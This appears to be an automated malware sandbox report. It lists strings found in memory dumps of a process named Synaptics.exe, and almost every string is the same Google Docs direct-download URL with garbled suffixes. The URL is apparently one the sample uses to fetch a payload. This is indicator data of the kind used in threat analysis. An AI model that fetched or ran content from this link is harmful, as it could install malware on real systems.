Source: Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadin
Source: Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadinzk
Source: Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadion-c
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadis
Source: Synaptics.exe, 00000003.00000002.2082652555.000000000F13C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadisco1jo
Source: Synaptics.exe, 00000003.00000002.2101385267.000000001CABF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadiy
Source: Synaptics.exe, 00000003.00000002.2101385267.000000001CABF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadiy-
Source: Synaptics.exe, 00000003.00000002.2067323288.0000000000782000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2068898665.0000000005413000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2083276221.000000000F1C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadj
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadj8
Source: Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadjF
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007312000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadjL
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F2A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadjM
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007312000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadject.Q
Source: Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadjh
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007312000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadjq
Source: Synaptics.exe, 00000003.00000002.2080697244.000000000EF82000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2068898665.0000000005413000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2084483626.000000000F2E1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2071412372.000000000735A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2083276221.000000000F1C7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2068898665.00000000054BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadk
Source: Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadkt
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadkv
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F310000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2103144473.000000001CBC4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2071412372.00000000073EC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2067323288.0000000000744000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadl
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F2A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadlC
Source: Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2083276221.000000000F1C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadle
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007474000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadle=$
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007312000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadlecom
Source: Synaptics.exe, 00000003.00000002.2101385267.000000001CACB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadleni
Source: Synaptics.exe, 00000003.00000002.2101385267.000000001CACB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2082652555.000000000F13C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadleniy
Source: Synaptics.exe, 00000003.00000002.2101385267.000000001CABF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadley
Source: Synaptics.exe, 00000003.00000002.2101385267.000000001CABF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadll
Source: Synaptics.exe, 00000003.00000002.2101385267.000000001CABF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadllQ
Source: Synaptics.exe, 00000003.00000002.2102350198.000000001CB12000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadlleme
Source: Synaptics.exe, 00000003.00000002.2101385267.000000001CACB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadlleme5
Source: Synaptics.exe, 00000003.00000002.2068898665.0000000005413000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadlsx
Source: Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2082652555.000000000F13C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2083276221.000000000F1C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadm
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadm:
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007312000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadmN
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007312000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadmU
Source: Synaptics.exe, 00000003.00000002.2101385267.000000001CABF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2101385267.000000001CACB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadme
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007312000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadmeasu
Source: Synaptics.exe, 00000003.00000002.2101385267.000000001CACB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2068898665.0000000005413000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2083276221.000000000F1C7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2067323288.0000000000744000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadn
Source: Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadn2
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadn=
Source: Synaptics.exe, 00000003.00000002.2101385267.000000001CABF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadna
Source: Synaptics.exe, 00000003.00000002.2101385267.000000001CABF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnaQ
Source: Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnc
Source: Synaptics.exe, 00000003.00000002.2101385267.000000001CACB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadncel
Source: Synaptics.exe, 00000003.00000002.2101385267.000000001CABF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadne
Source: Synaptics.exe, 00000003.00000002.2102350198.000000001CB12000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnected
Source: Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnetleniyor...
Source: Synaptics.exe, 00000003.00000002.2101385267.000000001CACB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnetlr
Source: Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadne~j
Source: Synaptics.exe, 00000003.00000002.2101385267.000000001CABF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadni
Source: Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadniyor
Source: Synaptics.exe, 00000003.00000002.2101385267.000000001CACB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadniyor/
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnp
Source: Synaptics.exe, 00000003.00000002.2067323288.0000000000782000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2080697244.000000000EF82000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2068898665.00000000054D4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2068898665.0000000005413000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2084483626.000000000F2E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloado
Source: Synaptics.exe, 00000003.00000002.2068898665.0000000005413000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloado=
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F2A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadoB
Source: Synaptics.exe, 00000003.00000002.2101385267.000000001CABF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadoai
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007474000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadog
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007312000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadogle.
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007312000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadogles
Source: Synaptics.exe, 00000003.00000002.2082652555.000000000F13C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadogles-l
Source: Synaptics.exe, 00000003.00000002.2082652555.000000000F13C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadogletol
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007312000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2082652555.000000000F13C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadom
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007312000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadoo
Source: Synaptics.exe, 00000003.00000002.2101385267.000000001CABF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadooE
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007312000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadoptimp
Source: Synaptics.exe, 00000003.00000002.2101385267.000000001CABF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloador
Source: Synaptics.exe, 00000003.00000002.2101385267.000000001CABF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloador)
Source: Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloador..
Source: Synaptics.exe, 00000003.00000002.2101385267.000000001CABF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloador9
Source: Synaptics.exe, 00000003.00000002.2101385267.000000001CABF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadorI
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F310000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2068898665.0000000005413000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2082652555.000000000F13C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2067323288.0000000000744000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadp
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadp8
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007312000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadpL#
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F2A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadpM
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007474000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadph
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007312000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadpl-)
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007312000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadpps.c
Source: Synaptics.exe, 00000003.00000002.2071412372.000000000743F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2071412372.0000000007312000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadq
Source: Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadq/
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007312000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadqV
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadqva
Source: Synaptics.exe, 00000003.00000002.2068898665.0000000005413000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2083276221.000000000F1C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadr
Source: Synaptics.exe, 00000003.00000002.2101385267.000000001CABF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadr.
Source: Synaptics.exe, 00000003.00000002.2101385267.000000001CACB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadr...
Source: Synaptics.exe, 00000003.00000002.2101385267.000000001CABF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadr.I
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadr?~
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007312000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadrm
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadrrb
Source: Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadrt
Source: Synaptics.exe, 00000003.00000002.2080697244.000000000EF82000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2068898665.0000000005413000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2084483626.000000000F2E1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2082652555.000000000F13C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2083276221.000000000F1C7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2067323288.0000000000744000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloads
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007474000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloads-
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007474000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloads-a$
Source: Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloads.cn
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloads;
Source: Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadsA
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F2A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadsL
Source: Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadsW
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007474000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2068898665.00000000054BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadse
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007312000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadservi
Source: Synaptics.exe, 00000003.00000002.2101385267.000000001CABF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadso
Source: Synaptics.exe, 00000003.00000002.2101385267.000000001CACB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadsolviS
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadsuc
Source: Synaptics.exe, 00000003.00000002.2101385267.000000001CACB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2083276221.000000000F1C7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2067323288.0000000000744000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadt
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadt=x
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007474000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadta
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007474000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadtd
Source: Synaptics.exe, 00000003.00000002.2101385267.000000001CABF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadti
Source: Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadtimga)
Source: Synaptics.exe, 00000003.00000002.2101385267.000000001CABF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadtl
Source: Synaptics.exe, 00000003.00000002.2101385267.000000001CABF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadtl5
Source: Synaptics.exe, 00000003.00000002.2101385267.000000001CABF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadtla
